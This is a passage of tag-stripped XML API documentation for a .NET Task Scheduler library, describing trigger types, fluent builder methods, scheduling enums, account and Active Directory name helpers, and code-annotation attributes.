Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

